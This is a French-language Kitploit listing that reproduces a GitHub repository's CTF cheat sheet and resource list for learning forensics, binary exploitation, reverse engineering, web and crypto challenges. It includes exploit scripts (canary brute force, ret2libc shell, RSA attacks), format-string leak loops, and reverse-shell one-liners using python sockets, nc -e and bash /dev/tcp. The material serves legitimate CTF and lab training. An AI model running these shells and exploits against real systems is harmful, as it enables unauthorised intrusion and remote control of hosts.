Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CTFs — CTF Cheat Sheet + Writeups / Fichiers pour certains des CTF de sécurité auxquels j'ai participé | Kitploit
Outils/GitHubGitHub/adamkadaban/ctfs
OSINT (Renseignement de Sources Ouvertes)Rétro-ingénierieAnalyse ForensiqueSécurité WebStéganographieCryptographieCTFTests d'IntrusionApprentissage et ÉducationRessources OrganiséesExploitation de BinairesLabs et Pratique
8476793il y a 9 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHubadamkadaban/ctfs

CTFs

CTF Cheat Sheet + Writeups / Fichiers pour certains des CTF de sécurité auxquels j'ai participé

Voir le dépôtSite web

CTFs

Writeups / Fichiers pour certains des CTFs Cyber que j'ai réalisés

J'ai également inclus une liste de ressources CTF ainsi qu'une antisèche complète couvrant des tonnes de défis CTF courants.

[!NOTE] Il existe désormais un miroir web de ce dépôt à hackback.zip

Table des matières

  • Ressources

    • Chaînes YouTube
    • Sites de pratique / d'apprentissage
      • CTFs
      • Général
      • Pwn
      • Rev
      • Web
      • Crypto
      • Smart Contracts
      • Cloud
      • Pentesting
  • Antisèche CTF

    • Forensics / Stéganographie
      • Général
      • Audio
      • Image
      • Vidéo
      • Image machine
      • Pcap
    • Pwn / Exploitation binaire
      • Général
      • Débordement de tampon
      • PIE (Exécution indépendante de la position)
      • NX (Non-exécutable)
      • ROP (pour binaires compilés statiquement)
      • Canary de pile
      • Vulnérabilités de chaîne de format
      • Shellcode
      • Retour à libc
    • Rétro-ingénierie
      • Solveurs SMT
      • Rétro-ingénierie des vérifications octet par octet (attaque par canal auxiliaire)
      • Recherche de chaînes avec gef
    • Web
      • Fuzzing des champs d'entrée
    • Crypto
      • CyberChef

      • Chiffrements courants

      • RSA

        • Obtenir les infos RSA avec pycryptodome
        • Théorème des restes chinois (p,q,e,c)
        • Attaque de Coppersmith (c,e)
        • Attaque de Pollard (n,e,c)
        • Attaque de Wiener (n,e,c)
      • Base16, 32, 36, 58, 64, 85, 91, 92

    • Machine
      • Connexion
      • Énumération
      • Élévation de privilèges
      • Écouter pour un reverse shell
      • Reverse shell
      • Obtenir un shell interactif
        • Linux
        • Windows / Général
    • OSINT
    • Divers

Ressources

Chaînes YouTube

  • John Hammond
    • Il faisait beaucoup de vidéos CTF, mais il est passé à d'autres choses.
    • Il y a encore énormément de vidéos utiles. Celles sur les CTF sont particulièrement incroyables pour enseigner aux débutants en sécurité.
  • Live Overflow
    • Réalise des vidéos extrêmement intéressantes et approfondies sur la cybersécurité.
    • A une série pwn incroyable
  • IppSec
    • Fait des writeups pour chaque machine HackTheBox
      • Parle des différentes façons de résoudre et pourquoi ça marche. Je recommande vivement.
  • Computerphile
    • Les mêmes personnes que Numberphile, mais plus cools. Fait des vidéos très accessibles et intuitives sur les concepts de base.
  • pwn.college
    • Professeur de l'ASU qui a des tonnes de vidéos sur le pwn.
    • Matériel de cours guidé : https://pwn.college/
    • Des tonnes de problèmes d'entraînement : https://dojo.pwn.college/
  • PwnFunction
    • Des vidéos animées de très haute qualité et faciles à comprendre sur différents sujets.
    • Les sujets sont un peu avancés, mais facilement compréhensibles.
  • Martin Carlisle
    • Fait d'excellentes vidéos de writeup sur les défis picoCTF.
  • Sam Bowne
    • Professeur de la CCSF qui publie en open source tous ses cours et supports sur son site web
  • UFSIT

Talks

Voici quelques diapositives que j'ai préparées : hackback.zip/presentations

Sites de pratique / d'apprentissage

CTFs

  • PicoCTF
    • Des tonnes de superbes défis d'entraînement.
    • C'est clairement la référence pour débuter.
  • UCF
    • Bon dans l'ensemble, mais excellent pour pratiquer le pwn.
    • Je suis en train de mettre des writeups ici
  • hacker101
    • CTF, mais légèrement plus orienté pentesting.
  • CSAW
    • Inaccessible 90% du temps et généralement aucune connexion ne fonctionne.
    • Mais quand c'est en ligne, il y a beaucoup de bons défis d'introduction.
  • CTF101
    • Une des meilleures introductions aux CTF que j'ai vues (merci osiris)
    • Très concise et accessible aux débutants.

Général

  • HackTheBox
    • Le site de machines OG
      • Les machines sont sélectionnées pour garantir la qualité.
    • Propose désormais des problèmes de style CTF.
    • Propose désormais des cours pour commencer à apprendre.
  • TryHackMe
    • Machines légèrement plus faciles que HackTheBox.
    • Défis pas à pas.
    • Propose désormais des "parcours d'apprentissage" pour vous guider à travers les sujets.
  • CybersecLabs
    • Excellente collection de machines.
    • Contient du contenu CTF.
  • VulnHub
    • Propose des machines virtuelles vulnérables que vous devez déployer vous-même.
    • Beaucoup de variété, mais difficile de trouver les bonnes à mon avis.

Pwn

  • pwnable.kr
    • Défis avec une bonne gamme de difficulté.
  • pwnable.tw
    • Plus dur que pwnable.kr
    • Propose des writeups une fois le défi résolu.
  • pwnable.xyz
    • Encore plus de défis pwn.
    • Propose des writeups une fois le défi résolu.
    • Vous pouvez poster vos propres défis une fois tous résolus.
  • pwn dojo
    • La meilleure collection de défis pwn à mon avis.
    • Accompagné de diapositives pour apprendre à faire et d'un Discord pour demander de l'aide.
  • nightmare
    • La référence pour le pwn de binaires C.
    • Contient quelques erreurs/coquilles, mais excellent dans l'ensemble.
  • pwn notes
    • Notes d'une personne aléatoire en ligne.
    • Très superficiel, mais bonne introduction à tout.
  • Security Summer School
    • Cours de sécurité de l'Université de Bucarest.
    • Explications très accessibles aux débutants.
  • RPISEC MBE
    • Cours d'exploitation binaire moderne de RPI.
    • Contient pas mal de laboratoires/projets pour s'entraîner et quelques cours (légèrement datés).
  • how2heap
    • Série sur l'exploitation de tas par l'équipe CTF de l'ASU.
    • Inclut une fonctionnalité de débogage très cool pour montrer comment les exploits fonctionnent.
  • ROPEmporium
    • Ensemble de défis pour chaque architecture majeure enseignant la programmation orientée retour.
    • Très haute qualité. Enseigne des techniques des plus basiques aux plus avancées.
    • J'ajoute actuellement mes propres writeups ici

Rev

  • challenges.re
    • Tellement de défis 0_0
    • Énorme diversité.
  • reversing.kr
  • crackmes.one
    • Des tonnes de défis de type crackme (CTF).
  • Malware Unicorn Workshops
    • Ateliers gratuits sur le Reverse Engineering et l'Analyse de Malware.

Web

  • websec.fr
    • Beaucoup de défis web avec une bonne plage de difficulté.
  • webhacking.kr
    • Archive de nombreux bons défis web.
  • Securing Web Applications
    • Cours open source de la CCSF.
  • OWASP Juice Shop
    • Très orienté pentesting, mais utile pour explorer le web dans les CTF.
    • Plus de 100 vulnérabilités/défis au total.
  • PortSwigger
    • La référence pour comprendre le hacking web.
    • Des tonnes de défis et d'explications incroyables.
  • DVWA
    • Très orienté pentesting, mais utile pour explorer le web dans les CTF.
  • bWAPP
    • Très orienté pentesting, mais utile pour explorer le web dans les CTF.
  • CTF Challenge
    • Collection de défis web créés par Adam Langley, conçus pour être aussi réalistes que possible.
    • Bon pour acquérir de l'expérience en bug bounty.

Crypto

  • CryptoHack
    • Je suis en train de mettre des writeups ici
  • cryptopals
    • Le site OG de défis crypto.
  • CryptoCTF
    • CTF de cryptographie annuel. Les années précédentes sont accessibles à 20{19,20,21,22,23,24}.cr.yp.toc.tf.

Smart Contracts

  • Capture the Ether

Cloud

  • CloudFoxable
    • Vous guide dans la configuration d'un environnement vulnérable à exploiter avec cloudfox
  • flaws.cloud
    • Défis gratuits qui consistent à trouver des secrets dans S3, EC2 et Lambda.

Pentesting

  • hacker101
  • hacksplaining
  • Exploit development
    • Cours open source de la CCSF.
  • Intro to Security
    • Cours de l'UC San Diego enseigné par Deian Stefan.
    • Couvre les bases du pwn et de la crypto.
  • Active Directory Cheat Sheet
  • WADComs
    • Antisèche interactive pour les environnements Windows/AD.
  • LOLBAS
    • Antisèche interactive pour les binaires, scripts et bibliothèques Windows "Living off the land" pour l'exploitation.
  • GTFOBins
    • Antisèche interactive pour les techniques Linux "Living off the land".

Antisèche CTF

Forensics / Stéganographie

Général

  • AperiSolve
    • Outil qui exécute automatiquement d'autres outils stégo.
  • Très bonne ressource de John Hammond pour différents types de défis :
    • https://github.com/JohnHammond/ctf-katana
  • Une autre très bonne antisèche pour créer et résoudre des défis :
    • https://github.com/apsdehal/awesome-ctf/blob/master/README.md
  • file
    • file <fichier.xyz>
    • Détermine le type de fichier.
  • steghide
    • steghide extract -sf <fichier.xyz>
    • Extrait les fichiers cachés.
  • stegseek
    • stegseek <fichier> <liste de mots de passe>
    • Extrait les fichiers cachés à l'aide d'une wordlist.
    • Super super rapide.
  • binwalk
    • binwalk -M --dd=".*" <fichier.xyz>
    • Extrait les fichiers imbriqués.
  • exiftool
    • exiftool <fichier.xyz>
    • Lit les métadonnées.
  • strings
    • strings <fichier.xyz>
    • Trouve tous les caractères imprimables dans un fichier.

Audio

  • Audio de télécopieur :

    • Exemple
    • Décodeur
  • SSTV (télévision à balayage lent) pour les trucs lunaires

    • Exemple
    • Décodeur
    • Décodeur alt.
    • Utilisez ces paramètres qsstv :

    Paramètres SSTV

  • Image spectrogramme

    • Décodeur
  • Changer la hauteur, la vitesse, le sens...

    • Hauteur, vitesse, tonalité
    • Inverser
  • DTMF (fréquences vocales doubles) des touches de téléphone

    • multimon-ng -a DTMF -t wav <fichier.wav>
      • Gardez à l'esprit qu'il peut s'agir de lettres multitap.
        • Ce site décode les nombres en texte.
  • Cassette audio

    • Exemple
    • Décodeur (wav vers fichiers tap)
  • Code Morse

    • Décodeur

Image

  • stegsolve
    • Parcourir les bits.
  • foremost
    • Outil spécial pour extraire des images.
    • Peut être utilisé pour reconstituer des images endommagées (par exemple dans un pcap).
  • Depix
    • Dépixéliser du texte.
  • Vérifier si une image a été photoshopée (regarder les hautes lumières)
    • https://29a.ch/photo-forensics/#error-level-analysis
  • zsteg
    • Décodeur LSB.
  • jsteg
    • Solveur de stéganographie JPEG.
  • pixrecovery
    • L'outil de récupération PNG le plus efficace que j'ai trouvé jusqu'à présent (tant que les filigranes ne vous dérangent pas).
    • photopea fonctionne aussi très bien.
  • crc32fix
    • Corriger la hauteur et la largeur d'un PNG basé sur la somme de contrôle.
  • PCRT
    • Corriger les informations d'en-tête et de pied de page PNG.
  • png-crc-fix
    • Corriger la somme de contrôle PNG.
  • pngcheck
    • Vérifier s'il y a des erreurs dans le PNG.
    • pngcheck <fichier>

Vidéo

Image machine

  • Récupération de fichiers
    • photorec <fichier.bin>
  • Vous pouvez monter une image en tant que machine virtuelle.
    • https://habr.com/en/post/444940/
  • Monter un fichier .img :
    • binwalk -M --dd=".*" <nomFichier>
    • exécutez file sur la sortie et sélectionnez le fichier du système de fichiers Linux.
    • losetup /dev/loop<numéroBoucleLibre> <fichierSystemeFichiers>

Pcap

  • Extraire des données avec tcpflow
    • tcpflow -r <fichier.pcap>
  • Extraire des données avec Wireshark
    • Fichier → Exporter des objets → Faire une sélection

Pwn / Exploitation binaire

  • Pour cette partie, je vous suggère de regarder mon dépôt LearnPwn à la place, car cette antisèche a été faite avant que j'en sache beaucoup sur le pwn.
    • Cependant, j'ai inclus quelques notes pour corriger ce que j'ai ici.

Général

  • Vérifier la sécurité d'un ELF
    • checksec <binaire>
    • rabin2 -I <binaire>
  • Vérifier la sécurité d'un PE
    • binary-security-check
    • binary-security-check <bin>.exe
  • Vérifier seccomp bpf
    • seccomp-tools
    • seccomp-tools dump ./<binaire>
  • Voir les symboles
    • readelf -s <binaire>
  • Voir les chaînes
    • rabin2 -z <binaire>
  • Conditionner une adresse en octets
    • petit-boutiste (pour 32 bits)
      • python -c "import pwn; print(pwn.p32(<addrEntier>))
    • gros-boutiste (pour 64 bits)
      • python -c "import pwn; print(pwn.p64(<addrEntier>))
    • pwntools conditionne automatiquement les adresses avec le boutisme correct pour vous.

Débordement de tampon

  • Si vous avez besoin d'obtenir un shell /bin/sh et vous êtes sûr que ça marche mais que le programme se termine quand même, utilisez cette astuce :
    • ( python -c "print '<PAYLOAD>'" ; cat ) | ./<programme>
    • pwntools fait ça avec process.interactive()

PIE (Exécution indépendante de la position)

  • Déterminer la valeur aléatoire
    • pwn cyclic <nbCaractères> pour générer la payload
    • dmesg | tail | grep segfault pour voir où l'erreur s'est produite
    • pwn cyclic -l 0x<emplacementErreur> pour voir le décalage aléatoire pour contrôler le pointeur d'instruction
    • exemple

NX (Non-exécutable)

  • Nous pouvons utiliser ROP (programmation orientée retour) pour résoudre.

ROP (pour binaires compilés statiquement)

  • ROPgadget
    • Voir les gadgets et générer automatiquement des ropchains
    • ROPgadget --ropchain --binary <binaire>
      • Vous pouvez ensuite ajouter du padding au début du code (basé sur la différence entre votre tampon et l'adresse de retour) et exécuter le code pour obtenir un shell.
      • Démo
  • ropr

Stack CanaryTrouver le canari de pile dans un débogueur

  • Le canari de pile est une valeur placée avant le pointeur d'instruction (EIP/RIP) qui peut être écrasée par un débordement de tampon. Le programme provoque une erreur si la pile est écrasée avec une valeur différente de celle d'origine. Notre objectif est de trouver la pile d'origine afin que lors du débordement, le programme fonctionne normalement.
  • Le canari de pile est tiré de gs ou fs (pour 32 et 64 bits respectivement)
    • Dans le désassemblage, avant qu'une donnée ne soit lue, on peut voir une ligne similaire à la suivante :``` 0x000000000000121a <+4>: sub rsp,0x30 0x000000000000121e <+8>: mov rax,QWORD PTR fs:0x28 0x0000000000001227 <+17>:mov QWORD PTR [rbp-0x8],rax 0x000000000000122b <+21>:xor eax,eax
root@kitploit:~
- Ici, le canari de pile est déplacé dans `rax` à l'offset +8.
    - Ainsi, placez un point d'arrêt au prochain offset et vérifiez ce qu'il y a dans rax (`i r rax`) pour voir le canari actuel

**Canaris Statiques**
- Un canari n'est statique que s'il a été implémenté manuellement par le programmeur (ce qui est le cas dans certains défis d'intro pwn), ou si vous pouvez fork le programme.
    - Lorsque vous fork le binaire, le processus forké a le même canari, vous pouvez donc faire un brute force octet par octet sur celui-ci

**Supplément**
- Lorsqu'un canari de pile est écrasé incorrectement, cela provoque un appel à `__stack_chk_fail`
    - Si nous ne pouvons pas fuiter le canari, nous pouvons aussi modifier la table GOT pour empêcher qu'il soit appelé
- Le canari est stocké dans la structure `TLS` de la pile courante et est initialisé par `security_init`
    - Si vous pouvez écraser la valeur réelle du canari, vous pouvez la définir égale à ce que vous décidez de déborder.

- Script simple pour bruteforcer un canari statique de 4 octets :```python
#!/bin/python3
from pwn import *

#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF('./vuln')

# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"

canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range(1,5):
    for letter in range(0,len(alphabet)):  # We will go through each letter/number in the string 'alphabet'
        p = elf.process()  # We start the process
        wait = p.recv().decode('utf-8')
        p.sendline(str(32+i))  # In this program, we had to specify how many bytes we were gonna send.
        wait = p.recv().decode('utf-8')
        p.sendline('A'*32 + canary + alphabet[letter])  # We send the 32 A's to overflow, and then the canary we already have + our guess
        prompt = p.recv().decode('utf-8')
        if "Stack" not in prompt:  # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
            canary += alphabet[letter]  # If it doesn't print that, we got part of our canary :)
            break  # Move on to the next canary letter/number

print("The canary is: " + canary)

Vulnérabilités de chaîne de format

  • Consultez le Tableau 2 pour savoir quoi essayer si vous voyez "printf(buf)" ou quelque chose du genre :
    • https://owasp.org/www-community/attacks/Format_string_attack
  • Je recommande vivement de regarder John Hammond qui fait le défi 'echooo' du picoCTF 2018
  • Parfois, essayer d'afficher uniquement des chaînes de la pile comme ceci : '%s %s %s %s %s %s' peut provoquer des erreurs car tout dans la pile n'est pas une chaîne.
  • Essayez de minimiser cela en utilisant '%x %x %x %x %x %s' à la place
  • Au lieu d'augmenter constamment le nombre de %x et %s que vous tapez, vous pouvez passer un paramètre pour faciliter les choses :
    • %1$s - Cela affichera la première valeur dans la pile (d'après ce que je comprends, celle juste à côté de votre tampon) sous forme de chaîne.
    • %2$s - Cela affichera la deuxième valeur sous forme de chaîne, et ainsi de suite
    • Vous pouvez utiliser des boucles en une ligne pour essayer de trouver le drapeau en faisant fuiter la pile. Appuyez sur ^C (CTRL + C) pour passer à la valeur suivante.
      • for i in {1..100}; do echo "%$i\$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done
  • Vous pouvez contrôler la quantité de fuite en utilisant différents paramètres de taille :
    • %hhx fuit 1 octet (moitié de la moitié de la taille d'un int)
    • %hx fuit 2 octets (moitié de la taille d'un int)
    • %x fuit 4 octets (taille d'un int)
    • %lx fuit 8 octets (taille d'un long)

Shellcode

  • Bon site web pour trouver différents shellcodes :
    • http://shell-storm.org/shellcode/

Return-to-Libc

  • Nous allons écraser l'EIP pour appeler la fonction système system() et nous passerons également ce qu'elle doit exécuter, dans cet exemple un tampon avec "/bin/sh"

  • Bonne explication :

    • https://www.youtube.com/watch?v=FvQYGAM1X9U&ab_channel=NPTEL-NOCIITM
  • Bon exemple (aller à 3:22:44) :

    • https://www.youtube.com/watch?v=uIkxsBgkpj8&t=13257s&ab_channel=freeCodeCamp.org
    • https://www.youtube.com/watch?v=NCLUm8geskU&ab_channel=BenGreenberg
  • Obtenir l'adresse pour execve("/bin/sh")

    • one_gadget <fichier libc>
  • Si vous connaissez déjà le fichier libc et un emplacement (c'est-à-dire sans avoir à les faire fuiter...)```python #!/bin/python3

from pwn import * import os

binaryName = 'ret2libc1'

get the address of libc file with ldd

libc_loc = os.popen(f'ldd {binaryName}').read().split('\n')[1].strip().split()[2]

use one_gadget to see where execve is in that libc file

one_gadget_libc_execve_out = [int(i.split()[0], 16) for i in os.popen(f'one_gadget {libc_loc}').read().split("\n") if "execve" in i]

pick one of the suitable addresses

libc_execve_address = one_gadget_libc_execve_out[1]

p = process(f'./{binaryName}') e = ELF(f'./{binaryName}') l = ELF(libc_loc)

get the address of printf from the binary output

printf_loc = int(p.recvuntil('\n').rstrip(), 16)

get the address of printf from libc

printf_libc = l.sym['printf']

calculate the base address of libc

libc_base_address = printf_loc - printf_libc

generate payload

0x17 is from gdb analysis of offset from input to return address

offset = 0x17

payload = b"A"*offset payload += p64(libc_base_address + libc_execve_address)

send the payload

p.sendline(payload)

enter in interactive so we can use the shell created from our execve payload

p.interactive()

root@kitploit:~
## Rétro-ingénierie

> Guide sympa : [https://opensource.com/article/20/4/linux-binary-analysis](https://opensource.com/article/20/4/linux-binary-analysis)
 
- [Ghidra](https://ghidra-sre.org/)
    - Décompilateur très utile
- dotPeek ou dnSpy
    - décompile les exécutables .NET
- [jadx](https://github.com/skylot/jadx) et jadx-gui
    - décompile les apks
- [devtoolzone](https://devtoolzone.com/decompiler/java)
    - décompile Java en ligne
- [Quiltflower](https://github.com/QuiltMC/quiltflower/)
    - Décompilateur Java avancé en ligne de commande
- apktool
    - décompile les apks
    - `apktool d *.apk`
- [gdb](https://www.gnu.org/software/gdb/)
    - Analyse binaire
    - [peda](https://github.com/longld/peda) (extension pour des fonctionnalités accrues)
    - [gef](https://github.com/hugsy/gef) (extension gdb pour les pwners)
- [radare2](https://github.com/radareorg/radare2)
    - Analyse binaire
- [FLOSS](https://github.com/mandiant/flare-floss)
    - `strings` sous stéroïdes. Utilise l'analyse statique pour trouver et calculer les chaînes de caractères

#### Solveurs SMT
- [angr](https://github.com/angr/angr) (python)
    - [Docs](https://docs.angr.io/core-concepts/toplevel)
    - [Tutoriel](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)
- [z3](https://github.com/Z3Prover/z3)
    - [Tutoriel](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)

#### Rétro-ingénierie des vérifications octet par octet (attaque par canal auxiliaire)

[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)

- Voici une version que j'ai créée pour un challenge qui utilise une attaque basée sur le temps :
    - Vous devrez peut-être l'exécuter quelques fois pour tenir compte de l'aléatoire```python
#!/bin/python3

from pwn import *
import string

keyLen = 8
binaryName = 'binary'

context.log_level = 'error'

s = ''
print("*"*keyLen)
for chars in range(keyLen):
    a = []
    for i in string.printable:
        p = process(f'perf stat -x, -e cpu-clock ./{binaryName}'.split())
        p.readline()
        currPass = s + i + '0'*(keyLen - chars - 1)
        # print(currPass)
        p.sendline(currPass.encode())
        p.readline()
        p.readline()
        p.readline()
        info = p.readall().split(b',')[0]
        p.close()
        try:
            a.append((float(info), i))
        except:
            pass
        # print(float(info), i)
    a.sort(key = lambda x: x[0])
    s += str(a[-1][1])
    print(s + "*"*(keyLen - len(s)))
    # print(sorted(a, key = lambda x: x[0]))

p = process(f'./{binaryName}')
p.sendline(s.encode())
p.interactive()

Recherche de chaînes avec gef

  • Si votre flag est lu dans une variable ou un registre à un moment donné, vous pouvez mettre un breakpoint après son déplacement et exécuter grep <string>, gef affichera automatiquement la chaîne qui correspond à votre motif de recherche

Web

  • Nikto (si autorisé)
    • recherche automatiquement des vulnérabilités
  • gobuster (si autorisé)
    • Force les répertoires et fichiers
  • hydra (si autorisé)
    • Force les identifiants de connexion pour divers services
  • BurpSuite
    • Intercepte les requêtes web et permet de les modifier
  • Wireshark
    • Analyser le trafic réseau en direct et les fichiers pcap
  • php reverse shell
    • Utile pour les sites web qui permettent de télécharger des fichiers
    • Ce fichier doit être exécuté sur le serveur pour fonctionner
  • WPScan
    • Scanner les sites WordPress
    • Utilisez wpscan --url <site> --plugins-detection mixed -e avec une clé API pour de meilleurs résultats
  • jwt
    • Vous pouvez identifier un token JWT car le json encodé en base64 (et donc les tokens JWT) commence par "ey"
    • Ce site décodera les JSON web tokens
    • Vous pouvez cracker le secret du JSON web token pour modifier et signer vos propres tokens
      • echo <token> > jwt.txt
      • john jwt.txt
  • SQL injection
    • sqlmap
      • sqlmap --forms --dump-all -u <url>

Fuzzing des champs de saisie

  • FFUF
    • Copiez la requête dans le champ de saisie et remplacez le paramètre par "FUZZ" :
      • ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all
      • Utilisez -fs pour filtrer les tailles

Crypto

CyberChef

  • CyberChef
    • Effectue diverses opérations cryptographiques

Détecteur de chiffre

Hashes

  • hashid
    • Utilitaire en ligne de commande pour détecter le type de hachage

Chiffrements courants

  • Chiffre de César
  • Chiffre de Vigenère```python

Solver using custom table

cipherText = "" plainText = "" flagCipherText = "" tableFile = ""

with open(cipherText) as fin: cipher = fin.readline().rstrip()

with open(plainText) as fin: plain = fin.readline().rstrip()

with open(flagCipherText) as fin: flag = fin.readline().rstrip()

with open(tableFile) as fin: table = [i.rstrip().split() for i in fin.readlines()]

table[0].insert(0, "") # might have to modify this part. # just a 2d array with the lookup table # should still work if the table is slightly off, but the key will be wrong key = "" for i, c in enumerate(plain[0:100]): col = table[0].index(c) for row in range(len(table)): if table[row][col] == cipher[i]: key += table[row][0] break

print(key)

dec_flag = "" for i, c in enumerate(flag[:-1]): col = table[0].index(key[i]) for row in range(len(table)): if table[row][col] == flag[i]: dec_flag += table[row][0] break

print(dec_flag)

root@kitploit:~
- [Chiffrement par substitution](https://www.quipqiup.com/)
- [Rot13](https://rot13.com/)
- [Chiffrement de César avec clé](https://www.boxentriq.com/code-breaking/keyed-caesar-cipher)

### RSA

#### Obtenir les infos RSA avec pycryptodome```python
from Crypto.PublicKey import RSA

keyName = "example.pem"

with open(keyName,'r') as f:
    key = RSA.import_key(f.read())

print(key)

# You can also get individual parts of the RSA key 
# (sometimes not all of these)
print(key.p)
print(key.q)
print(key.n)
print(key.e)
print(key.d)
print(key.u)

# public keys have n and e

Théorème des Restes Chinois (p,q,e,c)

  • Utilisez ceci lorsque vous pouvez factoriser le nombre n

    • Les mauvaises implémentations auront plus d'un facteur premier
    • Preuve
  • Ancien```python def egcd(a, b): if a == 0: return (b, 0, 1) g, y, x = egcd(b%a,a) return (g, x - (b//a) * y, y)

def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('No modular inverse') return x%m

p = q = e = c =

n = p*q # use factordb command or website to find factors

phi = (p-1)*(q-1) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)

d = modinv(e, phi) # private key

print(d)

m = pow(c,d,n) # decrypted plaintext message in long integer form

thing = hex(m)[2:] # ascii without extra stuff at the start (0x) print(bytes.fromhex(thing).decode('ascii'))

root@kitploit:~
- Nouveau```python
#!/bin/python3
from Crypto.Util.number import *
from factordb.factordb import FactorDB

# ints:
n =    
e =  
c =  

f = FactorDB(n)
f.connect()
factors = f.get_factor_list()

phi = 1
for i in factors:
    phi *= (i-1)

d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m).decode('UTF-8')
print(flag)
  • Site web qui donne les facteurs et l'indicatrice d'Euler (phi)
    • https://www.alpertron.com.ar/ECM.HTM

Attaque de Coppersmith (c,e)

  • Généralement utilisée si l'exposant est très petit (e <= 5)

    • Preuve```python from Crypto.Util.number import * def nth_root(radicand, index): lo = 1 hi = radicand while hi - lo > 1: mid = (lo + hi) // 2 if mid ** index > radicand: hi = mid else: lo = mid

    if lo ** index == radicand: return lo elif hi ** index == radicand: return hi else: return -1

c = e =

plaintext = long_to_bytes(nth_root(c, e)) print(plaintext.decode("UTF-8"))

root@kitploit:~
#### Attaque de Pollard (n,e,c)
- Basée sur [la méthode de factorisation de Pollard](http://www.math.columbia.edu/~goldfeld/PollardAttack.pdf), qui rend les produits de nombres premiers [faciles à factoriser](https://people.csail.mit.edu/rivest/pubs/RS01.version-1999-11-22.pdf) s'ils sont (B)-lisses
    - C'est le cas si `p-1 | B!` et `q - 1` a un facteur > `B````python
from Crypto.Util.number import *
from math import gcd

n = 
c = 
e = 

def pollard(n):
    a = 2
    b = 2
    while True:
        a = pow(a,b,n)
        d = gcd(a-1,n)
        if 1 < d < n: 
            return d
        b += 1

p = pollard(n)
q = n // p

phi = 1
for i in [p,q]:
    phi *= (i-1)

d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m).decode('UTF-8')
print(flag)

Wiener Attack (n,e,c)

  • À utiliser lorsque d est trop petit (ou e est trop grand)
    • En utilisant ce module python
    • Preuve```python from Crypto.Util.number import * import owiener

n = e = c =

d = owiener.attack(e, n) m = pow(c, d, n)

flag = long_to_bytes(m) print(flag)

root@kitploit:~
### Base16, 32, 36, 58, 64, 85, 91, 92

[https://github.com/mufeedvh/basecrack](https://github.com/mufeedvh/basecrack)

## Box

### Connexion

- ssh
    - `ssh <username>@<ip>`
    - `ssh <username>@<ip> -i <private key file>`
    - Monter SSH en tant que système de fichiers local :
        - `sshfs -p <port> <user>@<ip>: <mount_directory>`
    - Hôtes connus
        - `ssh-copy-id -i ~/.ssh/id_rsa.pub <user@host>`
- netcat
    - `nc <ip> <port>`
    

### Énumération

- Découverte de machines
    - `netdiscover`
- Scan de ports de machines
    - `nmap -sC -sV <ip>`
- Énumération Linux
    - `enum4linux <ip>`
    
- Énumération SMB
    - `smbmap -H <ip>`
- Connexion à un partage SMB
    - `smbclient //<ip>/<share>`

### Élévation de privilèges

- [linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
    - `./linpeas.sh`
    - Recherche automatiquement des vecteurs d'élévation de privilèges
- Lister les commandes que nous pouvons exécuter en tant que root
    - `sudo -l`
- Trouver les fichiers avec la permission SUID
    - `find / -perm -u=s -type f 2>/dev/null`
    - Ces fichiers s'exécutent avec les privilèges du propriétaire au lieu de l'utilisateur qui les exécute
- Trouver les permissions pour tous les services
    - `accesschk.exe -uwcqv *`
    - Rechercher les services qui ne sont pas sous les comptes System ou Administrateur
- Interroger le service
    - `sc qc <service name>`
    - Fonctionne uniquement dans cmd.exe 

### Écouter pour un reverse shell

- `nc -lnvp <port>`

### Reverse shell

- revshells.com
    - des modèles pour pratiquement tout ce dont vous pourriez avoir besoin
- `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
- `nc -e /bin/sh <ip> <port>`
- `bash -i >& /dev/tcp/<ip>/<port> 0>&1`

### Obtenir un shell interactif

#### Linux

1. Exécutez la commande python suivante pour le rendre partiellement interactif : `python -c 'import pty;pty.spawn("/bin/bash");'`
2. Quittez la session netcat avec `CTRL+Z` et exécutez `stty raw -echo` localement
3. Réintégrez votre session avec la commande `fg` (et l'ID de tâche ensuite si nécessaire)
4. Changez votre émulateur de terminal en xterm en exécutant `export TERM=xterm` (cela peut ne pas être nécessaire)
5. Changez votre shell en bash en exécutant `export SHELL=bash` (cela peut ne pas être nécessaire)
6. Terminé ! Maintenant votre shell devrait être entièrement interactif

#### Windows / Général

1. Installez `rlwrap` sur votre système
2. Maintenant, chaque fois que vous exécutez un écouteur nc, placez simplement `rlwrap` devant
3. Par exemple : `rlwrap nc -lvnp 1337`
    * Cela vous donnera les touches fléchées et l'historique des commandes, mais ne donnera pas l'autocomplétion (autant que je sache) pour les systèmes Windows et *nix 

## OSINT

- [pimeyes](https://pimeyes.com/en)
    - Recherche inversée de visages sur Internet
- [OSINT Framework](https://osintframework.com/)
    - Site web qui regroupe des tonnes d'outils OSINT
- [GeoSpy AI](https://geospy.ai)
